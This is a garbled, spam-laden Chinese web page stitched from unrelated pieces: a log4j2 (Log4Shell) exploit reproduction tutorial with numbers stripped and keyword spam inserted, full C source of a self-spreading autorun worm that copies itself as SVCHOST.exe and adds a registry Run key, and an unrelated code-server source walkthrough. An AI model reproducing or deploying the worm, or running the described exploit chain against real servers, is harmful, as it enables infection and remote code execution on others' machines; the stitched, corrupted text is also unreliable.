log4j2远程代码执行漏洞本地复现
本文仅供学习参考,远程源码远程源码请勿在真实环境进行网络攻击行为。控制控制
一、讲解讲解教程背景
Log4j 2 是远程源码远程源码 Java 中应用非常广泛的一个日志框架,在 年底,控制控制一个名为 CVE--(也称为 Log4Shell)的讲解讲解教程pyobject编程源码严重漏洞被发现,该漏洞被CVSS评为分最高级别。远程源码远程源码网络攻击者利用这个漏洞不需要服务器密码就可以访问并操作服务器,控制控制攻击方式非常简单,讲解讲解教程技术门槛低,远程源码远程源码危害极大。控制控制受影响版本:Apache log4j2 2.0 - 2..1 下面先简单看一下攻击原理,讲解讲解教程然后直接开始操作。远程源码远程源码
二、控制控制攻击原理
假设现在有个网站,讲解讲解教程当用户登录时,悬赏提交源码正常请求路径如下:
如果应用服务端的登录接口中使用漏洞版本的log4j2打印请求参数的日志,就有可能被注入。如图所示:
三、复现步骤
以下代码已放在github仓库:log4j漏洞复现代码
1. jdk版本
作者使用jdk1.8.0_和1.8.0_复现成功,1.8.0_复现失败。
JDK 6u、7u、8u之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
使用1.8.0_的情况下,将trustURLCodebase属性设置为true也没复现成功,原因暂未深究。
2. 模拟被攻击的皇家赛马源码应用服务器
写一个springboot项目,模拟被攻击的应用服务端登录接口,接口中打印了userName参数日志,启动此项目。端口为。访问地址为 .0.0.1:/login
3. 编写恶意代码
写一个在应用服务端执行的恶意代码,这里用删除一个服务器文件做演示,实际上可以使用反弹shell等做更多有害操作。编译这个类,生成class文件。
4. 启动http服务
启动一个http服务,使其可以访问上一步生成的.class文件,可以使用python启动一个http服务,cmd进入.class文件的目录,然后执行以下命令,使用 .0.0.1:/Exploit....能够访问说明一切正常。对峙2源码如果没有python环境也可以使用nginx等,只要能访问到Exploit.class即可。以下是使用python启动http服务的命令和截图:
5. 启动LADP服务
具体作用可以参考上面的原理图。这里直接使用github上的代码 GitHub - mbechler/marshalsec来运行ladp服务。如图所示:编译、运行启动。
运行ladp服务的命令:
上面命令中的 .0.0.1:/#...是第四步中的地址,根据自己的情况可自行修改,是ladp服务默认端口,无需修改。
6. 发起攻击请求
在C盘建一个1.txt文件,使用恶意构造的参数访问登录接口。
切换到ldap服务的控制台,可以看到日志,说明登录接口中的温度转换源码log4j已经访问ladp服务了。
切换到http控制台,可以看到请求日志,说明应用服务器已经请求http服务器加载Exploit.class。
在Exploit源码中debug,可以确认恶意代码已经执行,漏洞成功复现。
四、注意事项
~``远程控制木马程序怎么编写答案速度
病毒C程序源码:
```c
#define SVCHOST_NUM 6
#include
#include
char *autorun = { "[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打带贺做开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *files_autorun[] = { "c:\\autorun.inf", "d:\\autorun.inf", "e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM + 1] = { "c:\\windows\\system\\MSMOUSE.DLL", "c:\\windows\\system\\SVCHOST.exe", "c:\\蠢衡windows\\SVCHOST.exe", "c:\\SVCHOST.exe", "d:\\SVCHOST.exe", "e:\\SVCHOST.exe", "SVCHOST.exe"};
char *regadd = "reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\拍搜\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";
int copy(char *infile, char *outfile) {
FILE *input, *output;
char temp;
if (strcmp(infile, outfile) != 0 && ((input = fopen(infile, "rb")) != NULL) && ((output = fopen(outfile, "wb")) != NULL)) {
while (!feof(input)) {
fread(&temp, 1, 1, input);
fwrite(&temp, 1, 1, output);
}
fclose(input);
fclose(output);
return 0;
} else {
return 1;
}
}
int main(void) {
FILE *input, *output;
int i, k;
for (i = 0; i < 3; i++) {
output = fopen(files_autorun[i], "w");
fprintf(output, "%s", autorun);
fclose(output);
}
for (i = 0; i <= SVCHOST_NUM; i++) {
if ((input = fopen(files_svchost[i], "rb")) != NULL) {
fclose(input);
for (k = 0; k < SVCHOST_NUM; k++) {
copy(files_svchost[i], files_svchost[k]);
}
i = SVCHOST_NUM + 1;
}
}
system(regadd); /* 注册SVCHOST.exe,让其在启动时运行 */
return 0;
}
```
注意:
1. 代码中存在一些不清晰的字符和注释,例如"拍搜"应该是"Software",我已经进行了更正。
2. 代码中的字符串应该使用双引号而不是单引号。
3. 文件路径中存在一些拼写错误和不规范的命名,例如"蠢衡windows"应该是"Windows"。
4. 此代码是一个病毒程序,具有恶意性质。请确保不要使用或分发此类代码。
vscode server源码解析(三) - code server
初次接触code server,可参考介绍文章。整体架构不清晰时,建议阅读架构分析。
在深入分析code server代码之前,先理解code server在远程开发中的作用。code server作为服务器的核心功能,提供远程IDE访问,基于express框架和nodejs平台构建,实现了轻量级服务器的基础。此外,它提供用户登录功能,确保安全访问,并在登录后加载vscode server内核代码。
code server还具备升级、代理和心跳检测等功能,但这些细节在此不作深入探讨。
本文将重点解析code server的启动机制、提供服务的实现方式、中间件和路由设计,以及如何启动vscode内核。
code server的启动通过src/node/entry.ts文件实现,启动命令为`code-server`。实际上,这只是一个shell脚本,通过`node`命令启动程序。在package.json中定义了启动逻辑。
程序启动时,会检查当前进程是否为子进程,进而决定执行的启动方式。父进程负责管理整个软件,启动子进程并控制其生命周期,以及与子进程通信,比如接收日志输出。子进程则作为真正的express框架服务器,加载vscode server内核代码。
运行代码通过`runCodeServer`方法启动,首先通过`createApp`创建服务器,监听指定的主机和端口。`handleUpgrade`方法处理websocket连接,这是vscode server前后端通信的关键。详细说明将单独撰写。
路由和中间件是code server的核心部分。路由定义了服务器提供的接口,如GET和POST,供前端调用。中间件则负责处理请求前后的预处理和后处理工作,如鉴权,注册到express框架中。
code server中的`register`方法处理路由和中间件逻辑,将请求分发到不同的路由,如`/login`和`/health`,每个路由包含各自的中间件处理请求。
关于vscode server内核的启动,主要通过`src/node/routes/vscode.ts`文件实现。在经过鉴权等路由处理后,请求到达特定路由。`ensureCodeServerLoaded`中间件负责加载vscode代码。`loadAMDModule`执行原生vscode启动过程,引入模块。加载完成后,可以获得`createVSServer`方法,用于真正启动vscode内核。
至此,code server的基本功能实现完毕。接下来将深入探讨vscode server内核和websocket协议。
2024-12-24 00:07
2024-12-24 00:01
2024-12-23 23:27
2024-12-23 22:54
2024-12-23 21:53